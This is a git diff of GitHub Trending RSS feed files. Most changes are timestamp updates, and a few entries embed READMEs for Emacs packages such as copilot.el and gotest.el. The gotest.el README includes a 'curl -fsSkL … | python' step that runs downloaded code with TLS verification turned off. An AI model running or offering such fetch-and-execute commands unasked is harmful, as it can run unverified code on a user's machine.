a/emacs-lisp/daily/index.xml +++ b/emacs-lisp/daily/index.xml @@ -1,21 +1,28 @@ GitHub Emacs Lisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:23Z + 2024-01-06T01:30:53Z Daily Trending of Emacs Lisp in GitHub - copilot-emacs/copilot.el - 2024-01-05T01:31:23Z - tag:github.com,2024-01-05:/copilot-emacs/copilot.el - - <p>An unofficial Copilot plugin for Emacs.</p><hr><h1>Copilot.el</h1> <p>Copilot.el is an Emacs plugin for GitHub Copilot.</p> <p><img src="https://raw.githubusercontent.com/copilot-emacs/copilot.el/main/assets/demo.gif" alt=""></p> <p><strong>Warning:</strong> This plugin is unofficial and based on binaries provided by <a href="https://github.com/github/copilot.vim">copilot.vim</a>.</p> <p><strong>Note:</strong> You need access to <a href="https://github.com/features/copilot">GitHub Copilot</a> to use this plugin.</p> <p>Current maintainer: <a href="https://github.com/emil-vdw">@emil-vdw</a>, <a href="https://github.com/rakotomandimby">@rakotomandimby</a>.</p> <p>Retired maintainer: <a href="https://github.com/zerolfx">@zerolfx</a>.</p> <h2>Installation</h2> <ol start="0"> <li> <p>Ensure your Emacs version is at least 27, and the dependency package <code>editorconfig</code> (<a href="https://melpa.org/#/editorconfig">melpa</a>) is also installed.</p> </li> <li> <p>Install <a href="https://nodejs.org/en/download/">Node.js</a> v16+. (You can specify the path to <code>node</code> executable by setting <code>copilot-node-executable</code>.)</p> </li> <li> <p>Setup <code>copilot.el</code> as described in the next section.</p> </li> <li> <p>Login to Copilot by <code>M-x copilot-login</code>. You can also check the status by <code>M-x copilot-diagnose</code> (<code>NotAuthorized</code> means you don't have a valid subscription).</p> </li> <li> <p>Enjoy!</p> </li> </ol> <h2>Configurations</h2> <h3>Example for Doom Emacs</h3> <details> <p>Add package definition to <code>~/.doom.d/packages.el</code>:</p> <pre><code class="language-elisp">(package! copilot :recipe (:host github :repo "zerolfx/copilot.el" :files ("*.el" "dist"))) </code></pre> <p>Configure copilot in <code>~/.doom.d/config.el</code>:</p> <pre><code class="language-elisp">;; accept completion from copilot and fallback to company (use-package! copilot :hook (prog-mode . copilot-mode) :bind (:map copilot-completion-map ("&lt;tab&gt;" . 'copilot-accept-completion) ("TAB" . 'copilot-accept-completion) ("C-TAB" . 'copilot-accept-completion-by-word) ("C-&lt;tab&gt;" . 'copilot-accept-completion-by-word))) </code></pre> <p>Strongly recommend to enable <code>childframe</code> option in <code>company</code> module (<code>(company +childframe)</code>) to prevent overlay conflict.</p> <p>If pressing tab to complete sometimes doesn't work you might want to bind completion to another key or try:</p> <pre><code class="language-elisp">(after! (evil copilot) ;; Define the custom function that either accepts the completion or does the default behavior (defun my/copilot-tab-or-default () (interactive) (if (and (bound-and-true-p copilot-mode) ;; Add any other conditions to check for active copilot suggestions if necessary ) (copilot-accept-completion) (evil-insert 1))) ; Default action to insert a tab. Adjust as needed. ;; Bind the custom function to &lt;tab&gt; in Evil's insert state (evil-define-key 'insert 'global (kbd "&lt;tab&gt;") 'my/copilot-tab-or-default)) </code></pre> </details> <h3>Example for Spacemacs</h3> <details> <p>Edit your <code>~/.spacemacs</code>:</p> <pre><code class="language-elisp">;; =================== ;; dotspacemacs/layers ;; =================== ;; add or uncomment the auto-completion layer dotspacemacs-configuration-layers '( ... auto-completion ... ) ;; add copilot.el to additional packages dotspacemacs-additional-packages '((copilot :location (recipe :fetcher github :repo "zerolfx/copilot.el" :files ("*.el" "dist")))) ;; ======================== ;; dotspacemacs/user-config ;; ======================== ;; accept completion from copilot and fallback to company (with-eval-after-load 'company ;; disable inline previews (delq 'company-preview-if-just-one-frontend company-frontends)) (with-eval-after-load 'copilot (define-key copilot-completion-map (kbd "&lt;tab&gt;") 'copilot-accept-completion) (define-key copilot-completion-map (kbd "TAB") 'copilot-accept-completion) (define-key copilot-completion-map (kbd "C-TAB") 'copilot-accept-completion-by-word) (define-key copilot-completion-map (kbd "C-&lt;tab&gt;") 'copilot-accept-completion-by-word)) (add-hook 'prog-mode-hook 'copilot-mode) </code></pre> </details> <h3>General Configurations</h3> <details> <h4>1. Load <code>copilot.el</code></h4> <h5>Option 1: Load via <code>straight.el</code> or <code>quelpa</code> (recommended)</h5> <h6><code>straight.el</code>:</h6> <pre><code class="language-elisp">(use-package copilot :straight (:host github :repo "zerolfx/copilot.el" :files ("dist" "*.el")) :ensure t) ;; you can utilize :map :hook and :config to customize copilot </code></pre> <h6><code>quelpa</code> + <code>quelpa-use-package</code>:</h6> <pre><code class="language-elisp">(use-package copilot :quelpa (copilot :fetcher github :repo "zerolfx/copilot.el" :branch "main" :files ("dist" "*.el"))) ;; you can utilize :map :hook and :config to customize copilot </code></pre> <h5>Option 2: Load manually</h5> <p>Please make sure you have these dependencies installed (available in ELPA/MELPA):</p> <ul> <li><code>dash</code></li> <li><code>s</code></li> <li><code>editorconfig</code></li> </ul> <p>After installing those, clone this repository then insert the below snippet into your config file.</p> <pre><code>(add-to-list 'load-path "/path/to/copilot.el") (require 'copilot) </code></pre> <h4>2. Configure completion</h4> <h5>Option 1: Use <code>copilot-mode</code> to automatically provide completions</h5> <pre><code class="language-elisp">(add-hook 'prog-mode-hook 'copilot-mode) </code></pre> <p>To customize the behavior of <code>copilot-mode</code>, please check <code>copilot-enable-predicates</code> and <code>copilot-disable-predicates</code>.</p> <h5>Option 2: Manually provide completions</h5> <p>You need to bind <code>copilot-complete</code> to some key and call <code>copilot-clear-overlay</code> inside <code>post-command-hook</code>.</p> <h4>3. Configure completion acceptation</h4> <p>Use tab to accept completions (you may also want to bind <code>copilot-accept-completion-by-word</code> to some key):</p> <pre><code class="language-elisp">(define-key copilot-completion-map (kbd "&lt;tab&gt;") 'copilot-accept-completion) (define-key copilot-completion-map (kbd "TAB") 'copilot-accept-completion) </code></pre> </details> <h3>Programming language detection</h3> <p>Copilot.el detects the programming language of a buffer based on the major-mode name, stripping the <code>-mode</code> part. Resulting languageId should match table <a href="https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers">here</a>. You can add unusual major-mode mappings to <code>copilot-major-mode-alist</code>. Without the proper language set suggestions may be of poorer quality.</p> <pre><code class="language-elisp">(add-to-list 'copilot-major-mode-alist '("enh-ruby" . "ruby")) </code></pre> <h2>Commands</h2> <h4>copilot-diagnose</h4> <p>Check the current status of the plugin. Also you can check logs in the <code>*copilot events*</code> buffer and stderr output in the <code>*copilot stderr*</code> buffer.</p> <h4>copilot-login</h4> <p>Login to GitHub, required for using the plugin.</p> <h4>copilot-mode</h4> <p>Enable/disable copilot mode.</p> <h4>copilot-complete</h4> <p>Try to complete at the current point.</p> <h4>copilot-accept-completion</h4> <p>Accept the current completion.</p> <h4>copilot-clear-overlay</h4> <p>Clear copilot overlay in the current buffer.</p> <h4>copilot-accept-completion-by-line / copilot-accept-completion-by-word</h4> <p>Similar to <code>copilot-accept-completion</code>, but accept the completion by line or word. You can use prefix argument to specify the number of lines or words to accept.</p> <h4>copilot-next-completion / copilot-previous-completion</h4> <p>Cycle through the completion list.</p> <h4>copilot-logout</h4> <p>Logout from GitHub.</p> <h2>Customization</h2> <h4>copilot-node-executable</h4> <p>The executable path of Node.js.</p> <h4>copilot-idle-delay</h4> <p>Time in seconds to wait before starting completion (default to 0). Note Copilot itself has a ~100ms delay because of network communication.</p> <h4>copilot-enable-predicates / copilot-disable-predicates</h4> <p>A list of predicate functions with no argument to enable/disable triggering Copilot in <code>copilot-mode</code>.</p> <h4>copilot-enable-display-predicates / copilot-disable-display-predicates</h4> <p>A list of predicate functions with no argument to enable/disable showing Copilot's completions in <code>copilot-mode</code>.</p> <h4>copilot-clear-overlay-ignore-commands</h4> <p>A list of commands that won't cause the overlay to be cleared.</p> <h4>copilot-network-proxy</h4> <p>Format: <code>'(:host "127.0.0.1" :port 7890 :username: "user" :password: "password")</code>, where <code>:username</code> and <code>:password</code> are optional.</p> <p>For example:</p> <pre><code class="language-elisp">(setq copilot-network-proxy '(:host "127.0.0.1" :port 7890)) </code></pre> <h2>Known Issues</h2> <h3>Wrong Position of Other Completion Popups</h3> <p><img src="https://raw.githubusercontent.com/copilot-emacs/copilot.el/main/assets/company-overlay.png" alt=""></p> <p>This is an example of using together with default frontend of <code>company-mode</code>. Because both <code>company-mode</code> and <code>copilot.el</code> use overlay to show completion, so the conflict is inevitable. To solve the problem, I recommend you to use <code>company-box</code> (only available on GUI), which is based on child frame rather than overlay.</p> <p>After using <code>company-box</code>, you have:</p> <p><img src="https://raw.githubusercontent.com/copilot-emacs/copilot.el/main/assets/company-box.png" alt=""></p> <p>In other editors (e.g. <code>VS Code</code>, <code>PyCharm</code>), completions from copilot and other sources can not show at the same time. But I decided to allow them to coexist, allowing you to choose a better one at any time.</p> <h3>Cursor Jump to End of Line When Typing</h3> <ul> <li>If you are using <code>whitespace-mode</code>, make sure to remove <code>newline-mark</code> from <code>whitespace-style</code>.</li> </ul> <h2>Reporting Bugs</h2> <ul> <li>Make sure you have restarted your Emacs (and rebuild the plugin if necessary) after updating the plugin.</li> <li>Please enable event logging by customize <code>copilot-log-max</code> (to e.g. 1000), then paste related logs in the <code>*copilot events*</code> and <code>*copilot stderr*</code> buffer.</li> <li>If an exception is thrown, please also paste the stack trace (use <code>M-x toggle-debug-on-error</code> to enable stack trace).</li> </ul> <h2>Roadmap</h2> <ul> <li><input type="checkbox" checked disabled> Setup Copilot without Neovim</li> <li><input type="checkbox" checked disabled> Cycle through suggestions</li> <li><input type="checkbox" checked disabled> Add Copilot minor-mode</li> <li><input type="checkbox" disabled> <del>Add package to MELPA</del></li> </ul> <h2>Thanks</h2> <p>These projects helped me a lot:</p> <ul> <li><a href="https://github.com/TommyX12/company-tabnine/">https://github.com/TommyX12/company-tabnine/</a></li> <li><a href="https://github.com/cryptobadger/flight-attendant.el">https://github.com/cryptobadger/flight-attendant.el</a></li> <li><a href="https://github.com/github/copilot.vim">https://github.com/github/copilot.vim</a></li> </ul> + inlinechan/gdb-ui + 2024-01-06T01:30:53Z + tag:github.com,2024-01-06:/inlinechan/gdb-ui + + <p>gdb-ui.el from emacs23.3b</p><hr><p>This is to enable gdb-ui with --annotate=3 rather than -i=mi.</p> - nlamirault/gotest.el - 2024-01-05T01:31:23Z - tag:github.com,2024-01-05:/nlamirault/gotest.el - - <p>Emacs mode to go unit test command line tool</p><hr><h1>gotest.el</h1> <p><a href="https://github.com/nlamirault/gotest.el/raw/master/LICENSE"><img src="https://img.shields.io/badge/license-GPL_2-green.svg?style=flat" alt="License GPL 3"></a></p> <ul> <li>Master : <a href="https://stable.melpa.org/#/gotest"><img src="https://stable.melpa.org/packages/gotest-badge.svg?sanitize=true" alt="MELPA Stable"></a> <a href="https://circleci.com/gh/nlamirault/gotest.el/tree/master"><img src="https://circleci.com/gh/nlamirault/gotest.el/tree/master.svg?style=svg" alt="Circle CI"></a> <a href="https://coveralls.io/r/nlamirault/gotest.el?branch=master"><img src="https://coveralls.io/repos/nlamirault/gotest.el/badge.png?branch=master" alt="Coverage Status"></a></li> <li>Develop: <a href="https://melpa.org/#/gotest"><img src="https://melpa.org/packages/gotest-badge.svg?sanitize=true" alt="Melpa Status"></a> <a href="https://circleci.com/gh/nlamirault/gotest.el/tree/develop"><img src="https://circleci.com/gh/nlamirault/gotest.el/tree/develop.svg?style=svg" alt="Circle CI"></a> <a href="https://coveralls.io/github/nlamirault/gotest.el?branch=develop"><img src="https://coveralls.io/repos/github/nlamirault/gotest.el/badge.svg?branch=develop" alt="Coverage Status"></a></li> </ul> <p>Run <a href="http://golang.org">Go</a> tests and programs from Emacs (&gt;= 24.3)</p> <h2>Installation</h2> <p>The recommended way to install <code>gotest.el</code> is via <a href="https://melpa.org/">MELPA</a>:</p> <pre><code>M-x package-install gotest.el </code></pre> <p>or <a href="http://cask.github.io/">Cask</a>:</p> <pre><code>(depends-on "gotest.el") </code></pre> <h2>Usage</h2> <p>The following interactive commands can be run via <kbd>M-x</kbd> or bound to a key of your choice.</p> <p>All <code>go-test-*</code> functions can optionally configure the buffer-local <code>go-test-args</code> variable to pass additional arguments. Or, by using a prefix command, you will be prompted for arguments. For example: <kbd>C-u M-x go-test-current-test</kbd>.</p> <p>When using the <code>'_</code> prefix arg with any of the <code>go-test-*</code> or <code>go-run</code> functions, the most recent arguments from history will be used without prompting. For example: <kbd>M-- M-x go-run</kbd>.</p> <h3>go-test-current-test</h3> <p>Launch unit tests for the current test.</p> <h3>go-test-current-test-cache</h3> <p>Rerun the current test.</p> <h3>go-test-current-file</h3> <p>Launch unit tests and examples for the current file</p> <h3>go-test-current-project</h3> <p>Launch unit tests and examples for the current project.</p> <h3>go-test-current-coverage</h3> <p>Launch unit tests coverage for the current project.</p> <h3>go-test-current-benchmark</h3> <p>Launch go benchmark on current benchmark</p> <h3>go-test-current-file-benchmarks</h3> <p>Launch go benchmark on current file</p> <h3>go-test-current-project-benchmarks</h3> <p>Launch go benchmark on current project</p> <h3>go-run</h3> <p>Launch program via <code>go run</code>. Optionally configure the buffer-local <code>go-test-args</code> variable to pass additional arguments. Or, by using a prefix command, you will be prompted for arguments. For example: <kbd>C-u M-x go-run</kbd>.</p> <p>Be sure to make use of minibuffer history (<kbd>C-r</kbd>) to recall recent arguments to <code>go run</code>. And remember that the <kbd>M--</kbd> prefix can be used in combination with your <code>go run</code> key binding to use the most recent arguments without prompting. The go file is included in history, so you can <code>go-run</code> from history regardless of which buffer you are currently visiting.</p> <h2>Example key bindings</h2> <p>You can create some key bindings with these commands:</p> <pre><code class="language-lisp">(define-key go-mode-map (kbd "C-x f") 'go-test-current-file) (define-key go-mode-map (kbd "C-x t") 'go-test-current-test) (define-key go-mode-map (kbd "C-x p") 'go-test-current-project) (define-key go-mode-map (kbd "C-x b") 'go-test-current-benchmark) (define-key go-mode-map (kbd "C-x x") 'go-run) </code></pre> <h2>Addons</h2> <h3>Gb</h3> <p>If your project use <a href="http://getgb.io/">gb</a>, <em>gotest</em> will use this tool to launch unit tests.</p> <h2>Development</h2> <h3>Cask</h3> <p><code>gotest.el</code> use <a href="http://cask.github.io/">Cask</a> for dependencies management. Install it and retrieve dependencies :</p> <pre><code>$ curl -fsSkL https://raw.github.com/cask/cask/master/go | python $ export PATH="$HOME/.cask/bin:$PATH" $ cask </code></pre> <h3>Testing</h3> <ul> <li> <p>Launch unit tests from shell</p> <p>$ make clean test</p> </li> <li> <p>Using <a href="https://github.com/tonini/overseer.el">overseer</a> :</p> </li> </ul> <table> <thead> <tr> <th>Keybinding</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><kbd>C-c , t</kbd></td> <td>launch unit tests from buffer</td> </tr> <tr> <td><kbd>C-c , b</kbd></td> <td>launch unit tests</td> </tr> <tr> <td><kbd>C-c , g</kbd></td> <td>launch unit tests with tag (find, regexp, ...)</td> </tr> </tbody> </table> <ul> <li>Tips:</li> </ul> <p>If you want to launch a single unit test, add a specify tag :</p> <pre><code class="language-lisp">(ert-deftest test-foobar () :tags '(current) </code></pre> <p>And launch it using : <kbd>C-c , g</kbd> and specify tag : <em>current</em></p> <h2>Support / Contribute</h2> <p>See <a href="https://raw.githubusercontent.com/nlamirault/gotest.el/master/CONTRIBUTING.md">here</a></p> <h2>Changelog</h2> <p>A changelog is available <a href="https://raw.githubusercontent.com/nlamirault/gotest.el/master/ChangeLog.md">here</a>.</p> <h2>License</h2> <p>See <a href="https://raw.githubusercontent.com/nlamirault/gotest.el/master/LICENSE">LICENSE</a>.</p> <h2>Contact</h2> <p>Nicolas Lamirault <a href="mailto:nicolas.lamirault@gmail.com">nicolas.lamirault@gmail.com</a></p> + don9z/emacs-kit + 2024-01-06T01:30:53Z + tag:github.com,2024-01-06:/don9z/emacs-kit + + <p>Yet another starter kit for Emacs</p><hr><h2>Emacs-Kit</h2> <p>Emacs is the best text editor, but it takes time to configure it.</p> <p>This kit aims to make it easy, with efficient and readable scripts.</p> <p>It depends on some packages, but in case that some functions might not be needed, most of the packages are <a href="http://en.wikipedia.org/wiki/Lazy_loading">lazy loaded</a>.</p> <p>Also, Emacs packaging mechanism is adopted in this kit, all packages are downloaded and installed from <a href="http://melpa.milkbox.net/">MELPA</a> during the first launch of Emacs.</p> <p>There are still some packages missing in MELPA are stored in the <code>extensions</code> folder, some are fetched from <a href="http://github.com">github</a>, hope it will be removed soon.</p> <p>Please run <code>git submodule init</code> and <code>git submodule update</code> after you've cloned it.</p> <p>Please use Emacs 24+, and load <code>init.el</code> in your <code>.emacs</code> file.</p> + + + lamf-lamf/dotfiles + 2024-01-06T01:30:53Z + tag:github.com,2024-01-06:/lamf-lamf/dotfiles + + <p></p><hr><p>......................................... ......................................... ................DOT.FILES................ ......................................... ......................................... ................install.sh............... ......................................... .........................................</p> \ No newline at end of file diff --git a/emberscript/daily/index.xml b/emberscript/daily/index.xml index b1a38a889ac..80d62416a6e 100644 --- a/emberscript/daily/index.xml +++ b/emberscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub EmberScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:19Z + 2024-01-06T01:30:50Z Daily Trending of EmberScript in GitHub \ No newline at end of file diff --git a/eq/daily/index.xml b/eq/daily/index.xml index 5f25fa32984..56c7ea3362c 100644 --- a/eq/daily/index.xml +++ b/eq/daily/index.xml @@ -1,7 +1,7 @@ GitHub EQ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:35Z + 2024-01-06T01:31:03Z Daily Trending of EQ in GitHub \ No newline at end of file diff --git a/erlang/daily/index.xml b/erlang/daily/index.xml index f16084b1183..7bcfb8dbfaa 100644 --- a/erlang/daily/index.xml +++ b/erlang/daily/index.xml @@ -1,7 +1,14 @@ GitHub Erlang Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:39Z + 2024-01-06T01:31:07Z Daily Trending of Erlang in GitHub + + esl/opuntia + 2024-01-06T01:31:07Z + tag:github.com,2024-01-06:/esl/opuntia + + <p></p><hr> + \ No newline at end of file diff --git a/euphoria/daily/index.xml b/euphoria/daily/index.xml index 9eba9aca942..de186dabbbd 100644 --- a/euphoria/daily/index.xml +++ b/euphoria/daily/index.xml @@ -1,7 +1,7 @@ GitHub Euphoria Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:34Z + 2024-01-06T01:31:02Z Daily Trending of Euphoria in GitHub \ No newline at end of file diff --git a/f%23/daily/index.xml b/f%23/daily/index.xml index d8f0ef50ccb..02f0ca6346c 100644 --- a/f%23/daily/index.xml +++ b/f%23/daily/index.xml @@ -1,7 +1,7 @@ GitHub F# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:44Z + 2024-01-06T01:31:11Z Daily Trending of F# in GitHub \ No newline at end of file diff --git a/f*/daily/index.xml b/f*/daily/index.xml index f8177f37a61..bb7f3e3914b 100644 --- a/f*/daily/index.xml +++ b/f*/daily/index.xml @@ -1,7 +1,7 @@ GitHub F* Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:40Z + 2024-01-06T01:31:09Z Daily Trending of F* in GitHub \ No newline at end of file diff --git a/factor/daily/index.xml b/factor/daily/index.xml index da4c2050253..5223d03e854 100644 --- a/factor/daily/index.xml +++ b/factor/daily/index.xml @@ -1,7 +1,7 @@ GitHub Factor Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:41Z + 2024-01-06T01:31:08Z Daily Trending of Factor in GitHub \ No newline at end of file diff --git a/fancy/daily/index.xml b/fancy/daily/index.xml index 6a3c2598b22..01c143aab1e 100644 --- a/fancy/daily/index.xml +++ b/fancy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fancy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:42Z + 2024-01-06T01:31:11Z Daily Trending of Fancy in GitHub \ No newline at end of file diff --git a/fantom/daily/index.xml b/fantom/daily/index.xml index a21cef11213..c7be54204e6 100644 --- a/fantom/daily/index.xml +++ b/fantom/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fantom Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:49Z + 2024-01-06T01:31:14Z Daily Trending of Fantom in GitHub \ No newline at end of file diff --git a/faust/daily/index.xml b/faust/daily/index.xml index d918fa9f754..f1c0ae9af0d 100644 --- a/faust/daily/index.xml +++ b/faust/daily/index.xml @@ -1,7 +1,7 @@ GitHub Faust Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:47Z + 2024-01-06T01:31:14Z Daily Trending of Faust in GitHub \ No newline at end of file diff --git a/fennel/daily/index.xml b/fennel/daily/index.xml index ce9d04a64fb..0bb060c2db5 100644 --- a/fennel/daily/index.xml +++ b/fennel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fennel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:48Z + 2024-01-06T01:31:16Z Daily Trending of Fennel in GitHub \ No newline at end of file diff --git a/figlet-font/daily/index.xml b/figlet-font/daily/index.xml index abb629dfd3d..4c91502eeb9 100644 --- a/figlet-font/daily/index.xml +++ b/figlet-font/daily/index.xml @@ -1,7 +1,7 @@ GitHub FIGlet Font Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:50Z + 2024-01-06T01:31:13Z Daily Trending of FIGlet Font in GitHub \ No newline at end of file diff --git a/filebench-wml/daily/index.xml b/filebench-wml/daily/index.xml index 45532853efe..0fccc5c12b8 100644 --- a/filebench-wml/daily/index.xml +++ b/filebench-wml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Filebench WML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:53Z + 2024-01-06T01:31:17Z Daily Trending of Filebench WML in GitHub \ No newline at end of file diff --git a/filterscript/daily/index.xml b/filterscript/daily/index.xml index 2758864f0d4..cdaea79150b 100644 --- a/filterscript/daily/index.xml +++ b/filterscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Filterscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:52Z + 2024-01-06T01:31:19Z Daily Trending of Filterscript in GitHub \ No newline at end of file diff --git a/fish/daily/index.xml b/fish/daily/index.xml index 37cd7583bb6..25dfeb98592 100644 --- a/fish/daily/index.xml +++ b/fish/daily/index.xml @@ -1,7 +1,7 @@ GitHub fish Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:54Z + 2024-01-06T01:31:17Z Daily Trending of fish in GitHub \ No newline at end of file diff --git a/fluent/daily/index.xml b/fluent/daily/index.xml index b6bc5db77ea..61cced3488e 100644 --- a/fluent/daily/index.xml +++ b/fluent/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fluent Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:55Z + 2024-01-06T01:31:18Z Daily Trending of Fluent in GitHub \ No newline at end of file diff --git a/flux/daily/index.xml b/flux/daily/index.xml index 0babdfc23ae..fea8b9b9953 100644 --- a/flux/daily/index.xml +++ b/flux/daily/index.xml @@ -1,7 +1,7 @@ GitHub FLUX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:58Z + 2024-01-06T01:31:22Z Daily Trending of FLUX in GitHub \ No newline at end of file diff --git a/formatted/daily/index.xml b/formatted/daily/index.xml index 6f630312613..7ed3dea6083 100644 --- a/formatted/daily/index.xml +++ b/formatted/daily/index.xml @@ -1,7 +1,7 @@ GitHub Formatted Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:56Z + 2024-01-06T01:31:22Z Daily Trending of Formatted in GitHub \ No newline at end of file diff --git a/forth/daily/index.xml b/forth/daily/index.xml index 21fab898bf5..de163c631a3 100644 --- a/forth/daily/index.xml +++ b/forth/daily/index.xml @@ -1,7 +1,7 @@ GitHub Forth Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:31:57Z + 2024-01-06T01:31:23Z Daily Trending of Forth in GitHub \ No newline at end of file diff --git a/fortran-free-form/daily/index.xml b/fortran-free-form/daily/index.xml index fbe0dff3c4a..29dac466b64 100644 --- a/fortran-free-form/daily/index.xml +++ b/fortran-free-form/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fortran Free Form Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:04Z + 2024-01-06T01:31:28Z Daily Trending of Fortran Free Form in GitHub \ No newline at end of file diff --git a/fortran/daily/index.xml b/fortran/daily/index.xml index 49d5e12d153..fdc5303aa88 100644 --- a/fortran/daily/index.xml +++ b/fortran/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fortran Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:01Z + 2024-01-06T01:31:25Z Daily Trending of Fortran in GitHub \ No newline at end of file diff --git a/freebasic/daily/index.xml b/freebasic/daily/index.xml index 6979f53068d..351afff32a8 100644 --- a/freebasic/daily/index.xml +++ b/freebasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub FreeBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:05Z + 2024-01-06T01:31:28Z Daily Trending of FreeBasic in GitHub \ No newline at end of file diff --git a/freemarker/daily/index.xml b/freemarker/daily/index.xml index 446b3fbce86..4214ae6c991 100644 --- a/freemarker/daily/index.xml +++ b/freemarker/daily/index.xml @@ -1,7 +1,7 @@ GitHub FreeMarker Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:04Z + 2024-01-06T01:31:29Z Daily Trending of FreeMarker in GitHub \ No newline at end of file diff --git a/frege/daily/index.xml b/frege/daily/index.xml index d1427ea90a8..a4e928b3706 100644 --- a/frege/daily/index.xml +++ b/frege/daily/index.xml @@ -1,7 +1,7 @@ GitHub Frege Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:03Z + 2024-01-06T01:31:27Z Daily Trending of Frege in GitHub \ No newline at end of file diff --git a/futhark/daily/index.xml b/futhark/daily/index.xml index 3e28c801e3e..7269b5d9378 100644 --- a/futhark/daily/index.xml +++ b/futhark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Futhark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:09Z + 2024-01-06T01:31:31Z Daily Trending of Futhark in GitHub \ No newline at end of file diff --git a/g-code/daily/index.xml b/g-code/daily/index.xml index 14cfe8c6545..2f4d0693f2c 100644 --- a/g-code/daily/index.xml +++ b/g-code/daily/index.xml @@ -1,7 +1,7 @@ GitHub G-code Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:07Z + 2024-01-06T01:31:33Z Daily Trending of G-code in GitHub \ No newline at end of file diff --git a/game-maker-language/daily/index.xml b/game-maker-language/daily/index.xml index d7756b24999..43336cfda76 100644 --- a/game-maker-language/daily/index.xml +++ b/game-maker-language/daily/index.xml @@ -1,7 +1,14 @@ GitHub Game Maker Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:08Z + 2024-01-06T01:31:31Z Daily Trending of Game Maker Language in GitHub + + loypoll/NoiseBigBreak + 2024-01-06T01:31:31Z + tag:github.com,2024-01-06:/loypoll/NoiseBigBreak + + <p>Recreation of the Noise spinoff</p><hr> + \ No newline at end of file diff --git a/gaml/daily/index.xml b/gaml/daily/index.xml index 48ab18b0753..9425ec930d4 100644 --- a/gaml/daily/index.xml +++ b/gaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:09Z + 2024-01-06T01:31:33Z Daily Trending of GAML in GitHub \ No newline at end of file diff --git a/gams/daily/index.xml b/gams/daily/index.xml index b55635b64e5..b94846932e5 100644 --- a/gams/daily/index.xml +++ b/gams/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAMS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:12Z + 2024-01-06T01:31:36Z Daily Trending of GAMS in GitHub \ No newline at end of file diff --git a/gap/daily/index.xml b/gap/daily/index.xml index 4147a5691f7..e80e5ebad32 100644 --- a/gap/daily/index.xml +++ b/gap/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:14Z + 2024-01-06T01:31:37Z Daily Trending of GAP in GitHub \ No newline at end of file diff --git a/gcc-machine-description/daily/index.xml b/gcc-machine-description/daily/index.xml index 6b81fb22d11..d1d1ad2499b 100644 --- a/gcc-machine-description/daily/index.xml +++ b/gcc-machine-description/daily/index.xml @@ -1,7 +1,7 @@ GitHub GCC Machine Description Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:13Z + 2024-01-06T01:31:35Z Daily Trending of GCC Machine Description in GitHub \ No newline at end of file diff --git a/gdb/daily/index.xml b/gdb/daily/index.xml index 9165845bf8b..3c47ec25970 100644 --- a/gdb/daily/index.xml +++ b/gdb/daily/index.xml @@ -1,7 +1,7 @@ GitHub GDB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:11Z + 2024-01-06T01:31:34Z Daily Trending of GDB in GitHub \ No newline at end of file diff --git a/gdscript/daily/index.xml b/gdscript/daily/index.xml index 49942edacb8..93552acfe8d 100644 --- a/gdscript/daily/index.xml +++ b/gdscript/daily/index.xml @@ -1,7 +1,14 @@ GitHub GDScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:32:19Z + 2024-01-06T01:31:42Z Daily Trending of GDScript in GitHub + + 